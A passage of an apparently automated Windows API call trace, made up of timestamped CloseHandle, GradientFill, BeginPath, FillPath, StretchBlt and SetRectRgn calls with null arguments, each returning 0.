(hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.031] CloseHandle (hObject=0x0) returned 0 [0030.032] CloseHandle (hObject=0x0) returned 0 [0030.032] CloseHandle (hObject=0x0) returned 0 [0030.032] CloseHandle (hObject=0x0) returned 0 [0030.032] CloseHandle (hObject=0x0) returned 0 [0030.032] CloseHandle (hObject=0x0) returned 0 [0030.032] CloseHandle (hObject=0x0) returned 0 [0030.032] CloseHandle (hObject=0x0) returned 0 [0030.032] CloseHandle (hObject=0x0) returned 0 [0030.032] CloseHandle (hObject=0x0) returned 0 [0030.032] CloseHandle (hObject=0x0) returned 0 [0030.032] CloseHandle (hObject=0x0) returned 0 [0030.032] CloseHandle (hObject=0x0) returned 0 [0030.032] CloseHandle (hObject=0x0) returned 0 [0030.032] CloseHandle (hObject=0x0) returned 0 [0030.032] CloseHandle (hObject=0x0) returned 0 [0030.032] CloseHandle (hObject=0x0) returned 0 [0030.032] CloseHandle (hObject=0x0) returned 0 [0030.032] CloseHandle (hObject=0x0) returned 0 [0030.032] CloseHandle (hObject=0x0) returned 0 [0030.041] GradientFill () returned 0x0 [0030.041] BeginPath (hdc=0x0) returned 0 [0030.041] FillPath (hdc=0x0) returned 0 [0030.041] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.041] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.041] GradientFill () returned 0x0 [0030.041] BeginPath (hdc=0x0) returned 0 [0030.041] FillPath (hdc=0x0) returned 0 [0030.041] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.041] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.041] GradientFill () returned 0x0 [0030.042] BeginPath (hdc=0x0) returned 0 [0030.042] FillPath (hdc=0x0) returned 0 [0030.042] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.042] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.042] GradientFill () returned 0x0 [0030.042] BeginPath (hdc=0x0) returned 0 [0030.042] FillPath (hdc=0x0) returned 0 [0030.042] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.042] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.042] GradientFill () returned 0x0 [0030.042] BeginPath (hdc=0x0) returned 0 [0030.042] FillPath (hdc=0x0) returned 0 [0030.042] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.042] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.042] GradientFill () returned 0x0 [0030.042] BeginPath (hdc=0x0) returned 0 [0030.042] FillPath (hdc=0x0) returned 0 [0030.042] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.042] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.042] GradientFill () returned 0x0 [0030.042] BeginPath (hdc=0x0) returned 0 [0030.042] FillPath (hdc=0x0) returned 0 [0030.042] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.042] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.042] GradientFill () returned 0x0 [0030.042] BeginPath (hdc=0x0) returned 0 [0030.042] FillPath (hdc=0x0) returned 0 [0030.042] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.042] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.042] GradientFill () returned 0x0 [0030.042] BeginPath (hdc=0x0) returned 0 [0030.042] FillPath (hdc=0x0) returned 0 [0030.042] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.042] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.042] GradientFill () returned 0x0 [0030.042] BeginPath (hdc=0x0) returned 0 [0030.042] FillPath (hdc=0x0) returned 0 [0030.042] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.042] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.042] GradientFill () returned 0x0 [0030.042] BeginPath (hdc=0x0) returned 0 [0030.042] FillPath (hdc=0x0) returned 0 [0030.042] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.042] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.042] GradientFill () returned 0x0 [0030.042] BeginPath (hdc=0x0) returned 0 [0030.042] FillPath (hdc=0x0) returned 0 [0030.042] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.042] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.042] GradientFill () returned 0x0 [0030.042] BeginPath (hdc=0x0) returned 0 [0030.042] FillPath (hdc=0x0) returned 0 [0030.042] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.042] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.042] GradientFill () returned 0x0 [0030.042] BeginPath (hdc=0x0) returned 0 [0030.042] FillPath (hdc=0x0) returned 0 [0030.042] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.042] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.042] GradientFill () returned 0x0 [0030.042] BeginPath (hdc=0x0) returned 0 [0030.042] FillPath (hdc=0x0) returned 0 [0030.042] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.042] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.042] GradientFill () returned 0x0 [0030.042] BeginPath (hdc=0x0) returned 0 [0030.042] FillPath (hdc=0x0) returned 0 [0030.042] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.042] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.043] GradientFill () returned 0x0 [0030.043] BeginPath (hdc=0x0) returned 0 [0030.043] FillPath (hdc=0x0) returned 0 [0030.043] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.043] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.043] GradientFill () returned 0x0 [0030.043] BeginPath (hdc=0x0) returned 0 [0030.043] FillPath (hdc=0x0) returned 0 [0030.043] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.043] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.043] GradientFill () returned 0x0 [0030.043] BeginPath (hdc=0x0) returned 0 [0030.043] FillPath (hdc=0x0) returned 0 [0030.043] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.043] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.043] GradientFill () returned 0x0 [0030.043] BeginPath (hdc=0x0) returned 0 [0030.043] FillPath (hdc=0x0) returned 0 [0030.043] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.043] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.043] GradientFill () returned 0x0 [0030.043] BeginPath (hdc=0x0) returned 0 [0030.043] FillPath (hdc=0x0) returned 0 [0030.043] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.043] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.043] GradientFill () returned 0x0 [0030.043] BeginPath (hdc=0x0) returned 0 [0030.043] FillPath (hdc=0x0) returned 0 [0030.043] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.043] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.043] GradientFill () returned 0x0 [0030.043] BeginPath (hdc=0x0) returned 0 [0030.043] FillPath (hdc=0x0) returned 0 [0030.043] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.043] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.043] GradientFill () returned 0x0 [0030.043] BeginPath (hdc=0x0) returned 0 [0030.043] FillPath (hdc=0x0) returned 0 [0030.043] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.043] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.043] GradientFill () returned 0x0 [0030.043] BeginPath (hdc=0x0) returned 0 [0030.043] FillPath (hdc=0x0) returned 0 [0030.043] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.043] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.043] GradientFill () returned 0x0 [0030.043] BeginPath (hdc=0x0) returned 0 [0030.043] FillPath (hdc=0x0) returned 0 [0030.043] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.043] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.043] GradientFill () returned 0x0 [0030.043] BeginPath (hdc=0x0) returned 0 [0030.043] FillPath (hdc=0x0) returned 0 [0030.043] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.043] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.043] GradientFill () returned 0x0 [0030.043] BeginPath (hdc=0x0) returned 0 [0030.043] FillPath (hdc=0x0) returned 0 [0030.043] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.043] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.043] GradientFill () returned 0x0 [0030.043] BeginPath (hdc=0x0) returned 0 [0030.043] FillPath (hdc=0x0) returned 0 [0030.043] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.043] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.043] GradientFill () returned 0x0 [0030.043] BeginPath (hdc=0x0) returned 0 [0030.043] FillPath (hdc=0x0) returned 0 [0030.043] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.043] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.043] GradientFill () returned 0x0 [0030.043] BeginPath (hdc=0x0) returned 0 [0030.043] FillPath (hdc=0x0) returned 0 [0030.043] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.044] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.044] GradientFill () returned 0x0 [0030.044] BeginPath (hdc=0x0) returned 0 [0030.044] FillPath (hdc=0x0) returned 0 [0030.044] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.044] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.044] GradientFill () returned 0x0 [0030.044] BeginPath (hdc=0x0) returned 0 [0030.044] FillPath (hdc=0x0) returned 0 [0030.044] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.044] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.044] GradientFill () returned 0x0 [0030.044] BeginPath (hdc=0x0) returned 0 [0030.044] FillPath (hdc=0x0) returned 0 [0030.044] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.044] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.044] GradientFill () returned 0x0 [0030.044] BeginPath (hdc=0x0) returned 0 [0030.044] FillPath (hdc=0x0) returned 0 [0030.044] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.044] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.044] GradientFill () returned 0x0 [0030.044] BeginPath (hdc=0x0) returned 0 [0030.044] FillPath (hdc=0x0) returned 0 [0030.044] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.044] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.044] GradientFill () returned 0x0 [0030.044] BeginPath (hdc=0x0) returned 0 [0030.044] FillPath (hdc=0x0) returned 0 [0030.044] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.044] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.044] GradientFill () returned 0x0 [0030.044] BeginPath (hdc=0x0) returned 0 [0030.044] FillPath (hdc=0x0) returned 0 [0030.044] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.044] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.044] GradientFill () returned 0x0 [0030.044] BeginPath (hdc=0x0) returned 0 [0030.044] FillPath (hdc=0x0) returned 0 [0030.044] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.044] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.044] GradientFill () returned 0x0 [0030.044] BeginPath (hdc=0x0) returned 0 [0030.044] FillPath (hdc=0x0) returned 0 [0030.044] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.044] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.044] GradientFill () returned 0x0 [0030.044] BeginPath (hdc=0x0) returned 0 [0030.044] FillPath (hdc=0x0) returned 0 [0030.044] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.044] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.044] GradientFill () returned 0x0 [0030.044] BeginPath (hdc=0x0) returned 0 [0030.044] FillPath (hdc=0x0) returned 0 [0030.044] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.044] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.044] GradientFill () returned 0x0 [0030.044] BeginPath (hdc=0x0) returned 0 [0030.044] FillPath (hdc=0x0) returned 0 [0030.044] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.044] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.044] GradientFill () returned 0x0 [0030.044] BeginPath (hdc=0x0) returned 0 [0030.044] FillPath (hdc=0x0) returned 0 [0030.044] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.044] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.044] GradientFill () returned 0x0 [0030.044] BeginPath (hdc=0x0) returned 0 [0030.044] FillPath (hdc=0x0) returned 0 [0030.044] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.044] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.044] GradientFill () returned 0x0 [0030.044] BeginPath (hdc=0x0) returned 0 [0030.045] FillPath (hdc=0x0) returned 0 [0030.045] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.045] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.045] GradientFill () returned 0x0 [0030.045] BeginPath (hdc=0x0) returned 0 [0030.045] FillPath (hdc=0x0) returned 0 [0030.045] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.045] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.045] GradientFill () returned 0x0 [0030.045] BeginPath (hdc=0x0) returned 0 [0030.045] FillPath (hdc=0x0) returned 0 [0030.045] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.045] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.045] GradientFill () returned 0x0 [0030.045] BeginPath (hdc=0x0) returned 0 [0030.045] FillPath (hdc=0x0) returned 0 [0030.045] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.045] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.045] GradientFill () returned 0x0 [0030.045] BeginPath (hdc=0x0) returned 0 [0030.045] FillPath (hdc=0x0) returned 0 [0030.045] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.045] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.045] GradientFill () returned 0x0 [0030.045] BeginPath (hdc=0x0) returned 0 [0030.045] FillPath (hdc=0x0) returned 0 [0030.045] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.045] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.045] GradientFill () returned 0x0 [0030.045] BeginPath (hdc=0x0) returned 0 [0030.045] FillPath (hdc=0x0) returned 0 [0030.045] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.045] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.045] GradientFill () returned 0x0 [0030.045] BeginPath (hdc=0x0) returned 0 [0030.045] FillPath (hdc=0x0) returned 0 [0030.045] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.045] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.045] GradientFill () returned 0x0 [0030.045] BeginPath (hdc=0x0) returned 0 [0030.045] FillPath (hdc=0x0) returned 0 [0030.045] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.045] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.045] GradientFill () returned 0x0 [0030.045] BeginPath (hdc=0x0) returned 0 [0030.045] FillPath (hdc=0x0) returned 0 [0030.045] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.045] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.045] GradientFill () returned 0x0 [0030.045] BeginPath (hdc=0x0) returned 0 [0030.045] FillPath (hdc=0x0) returned 0 [0030.045] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.045] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.045] GradientFill () returned 0x0 [0030.045] BeginPath (hdc=0x0) returned 0 [0030.045] FillPath (hdc=0x0) returned 0 [0030.045] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.045] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.045] GradientFill () returned 0x0 [0030.045] BeginPath (hdc=0x0) returned 0 [0030.045] FillPath (hdc=0x0) returned 0 [0030.045] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.045] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.045] GradientFill () returned 0x0 [0030.045] BeginPath (hdc=0x0) returned 0 [0030.045] FillPath (hdc=0x0) returned 0 [0030.045] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.045] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.045] GradientFill () returned 0x0 [0030.046] BeginPath (hdc=0x0) returned 0 [0030.046] FillPath (hdc=0x0) returned 0 [0030.046] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.046] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.046] GradientFill () returned 0x0 [0030.046] BeginPath (hdc=0x0) returned 0 [0030.046] FillPath (hdc=0x0) returned 0 [0030.046] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.046] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.046] GradientFill () returned 0x0 [0030.046] BeginPath (hdc=0x0) returned 0 [0030.046] FillPath (hdc=0x0) returned 0 [0030.046] 